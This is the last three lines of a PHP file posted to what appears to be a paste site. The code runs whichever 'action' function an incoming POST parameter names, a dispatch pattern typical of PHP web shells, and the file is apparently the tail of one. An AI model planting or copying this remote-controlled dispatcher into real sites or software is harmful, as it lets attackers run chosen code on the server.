  1646. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1647. call_user_func('action' . $_POST['a']);
  1648. ?>
Add Comment
Please, Sign In to add comment